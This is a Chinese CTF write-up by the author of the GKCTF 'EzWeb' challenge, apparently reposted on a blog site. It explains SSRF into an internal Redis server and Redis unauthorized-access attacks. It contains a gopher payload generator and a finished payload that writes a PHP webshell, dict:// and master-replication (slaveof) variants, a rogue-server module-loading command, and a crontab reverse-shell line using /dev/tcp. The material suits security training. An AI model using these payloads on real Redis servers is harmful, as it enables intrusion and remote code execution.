GKCTF-EzWeb+redis未授權訪問


GKCTF-ezweb

我把docker打包到github上了
https://github.com/w4aaaander/CTF
感覺出的簡單了...
考點:

  • 內網探測
  • ssrf+redis未授權

源碼中注釋了?secret
圖片: https://uploader.shimo.im/f/hYfrOreyCFPIue26.png
訪問可以得到當前靶機的ip
圖片: https://uploader.shimo.im/f/uzBmL8pT8Ux5q8av.png
看到有不少師傅去開buu上的內網機做,這里實際上是一個 web服務器 和一個redis 服務器組成的一個內網,是獨立於單容器的內網,並且自動組網(來自趙總的解釋),所以直接開內網機並不能訪問到靶機,直接用ssrf會快得多(當時出題沒考慮到結合buu的這個特殊性,在這里給各位師傅們謝罪...逃)

並且這里過濾的其實不嚴格,我多此一舉的在file:后面加上了//,導致用file:/也可以讀文件,這也是我的疏忽
在這里插入圖片描述
繼續,通過內網探測可以發現.11上開着web服務
圖片: https://uploader.shimo.im/f/8CAlhDVH1Czrx4nC.png
根據提示進一步發現.11開着6379端口
圖片: https://uploader.shimo.im/f/eiv59UdXATjKwrSH.png
然后可以利用gopher://協議寫shell,可以用如下腳本生成exp

import urllib
protocol="gopher://"
ip="173.51.38.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd


if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

圖片: https://uploader.shimo.im/f/Lq7WDyYDM7fZKfyN.png

gopher://173.51.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

打過去再次訪問.11/shell.php即可
圖片: https://uploader.shimo.im/f/z2hRMrfSu19R9tGv.png
第一次出題感覺確實拉跨了,原來想着考主從的,但是考慮到buu內網不是那么方便就直接開了web服務讓師傅們寫shell了,並且可能我沒說清楚這題的特殊性導致很多師傅走了彎路,si ni ma sei

下面做了點小總結

redis未授權訪問

一般來說如果redis暴露在公網並且沒設置密鑰保護就可能造成redis未授權訪問

常見的方式有直接
寫shell

> flushall
> config set dir /var/www/html
> config set dbfilename shell.php
> set webshell "<?php phpinfo();?>"
> save

在這里插入圖片描述
在這里插入圖片描述
或者寫定時任務:

> flushall
> set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
> config set dir /var/spool/crontab/root
> config set dbfilename root
> save

但是上面的方式是直接進當前靶機操作的,如果比如想從kali上redis一個ubuntu,可以用
redis-cli -h ip
在這里插入圖片描述
但是redis.conf如果中設置了bind ip ,那么這種方法就行不通了
在這里插入圖片描述
在這里插入圖片描述

ssrf+redis

例如我能通過某種手段對靶機進行ssrf,那么就可以用Gopher://協議或dict://協議對redis進行操作

gopher://

先來看gopher吧,因為數據比較特殊,可以在本地通過socat進行監聽數據

下面的意思是訪問2221端口實際上訪問6379端口,相當於一個流量轉發吧

root@ubuntu:~# socat -v tcp-listen:2221,fork tcp-connect:localhost:6379

redis寫shell時加上- p 2221即可抓到真實數據流

> 2020/05/14 05:34:08.033689  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2020/05/14 05:34:08.036252  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.038985  length=54 from=0 to=53
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
< 2020/05/14 05:34:08.042783  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.044651  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
< 2020/05/14 05:34:08.048444  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.050381  length=53 from=0 to=52
*3\r
$3\r
set\r
$1\r
1\r
$26\r
<?php system($_POST[0]);?>\r
< 2020/05/14 05:34:08.052386  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.054277  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2020/05/14 05:34:08.056068  length=5 from=0 to=4
+OK\r

redis中

在RESP中,某些數據的類型取決於第一個字節:
對於Simple Strings,回復的第一個字節是+
對於error,回復的第一個字節是-
對於Integer,回復的第一個字節是:
對於Bulk Strings,回復的第一個字節是$
對於array,回復的第一個字節是*
此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)結束。

那么我們就需要將以上數據轉換成對應的格式,腳本如下

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
        line = line.replace(r"\r", "%0d%0a")
        line = line.replace("\n", '')
        s = s + line
print s.replace("$", "%24")

或者先知上有直接生成的腳本(這個比較推薦):https://xz.aliyun.com/t/5665#toc-3
我貼在上面的ezweb里了,就不復制了

這樣跑一下就能生成gopher協議的exp了

dict://

dict這個協議同樣跟gopher性質類似,操作起來更簡單一些
使用方法如下:

dict://172.24.0.3:6379/config:set:/var/www/html
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
dict://172.24.0.3:6379/save

如果有回顯會返回ok,如下:
在這里插入圖片描述
但是這時候去看一下redis靶機的shell會發現沒有寫入,或者干脆是亂碼的形式
在這里插入圖片描述
這時候就需要使用主從復制slaveof了,前提是兩台服務器互通
在這里插入圖片描述
首先在靶機上設置主從服務器

dict://172.24.0.3:6379/slaveof:ip:6379

這個時候靶機就從屬與我們的主服務器了,並且會復制主服務器的信息

可以用info查看以下主從服務器信息:
>info
在這里插入圖片描述
可以看到slaveof成功連接,接下來先設置shell:
在這里插入圖片描述
然后此時進入靶機容器,get webshell發現成功復制shell
在這里插入圖片描述
然后需要斷開主從
dict://127.0.0.1:6379/slaveof:no:one
接下來就跟上面的一樣

dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:<?php phpinfo();?>
dict://172.24.0.3:6379/save

此時完美寫入
在這里插入圖片描述在這里插入圖片描述

redis加載so文件

除了上述兩種寫shell外,slaveof還能加載so文件getshell
貌似需要redis版本>5
在這里插入圖片描述
在這里插入圖片描述
網鼎杯玄武組的一道ssrf也是用了這個思路:
在這里插入圖片描述
這里我用kali作為攻擊192.168.190.169,ubuntu作為靶機192.168.190.153

首先ubuntu主從上kali
在這里插入圖片描述
kali下info查看主從
在這里插入圖片描述
確保連接成功后就可以用exp打了,用第一個的腳本,第二個的so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server

python redis-rce.py -r 攻擊ip -L 靶機ip -f exp.so
在這里插入圖片描述
Reference:
https://xz.aliyun.com/t/5665#toc-3
https://www.t00ls.net/articles-56339.html
https://www.cnblogs.com/paperpen/p/11178751.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM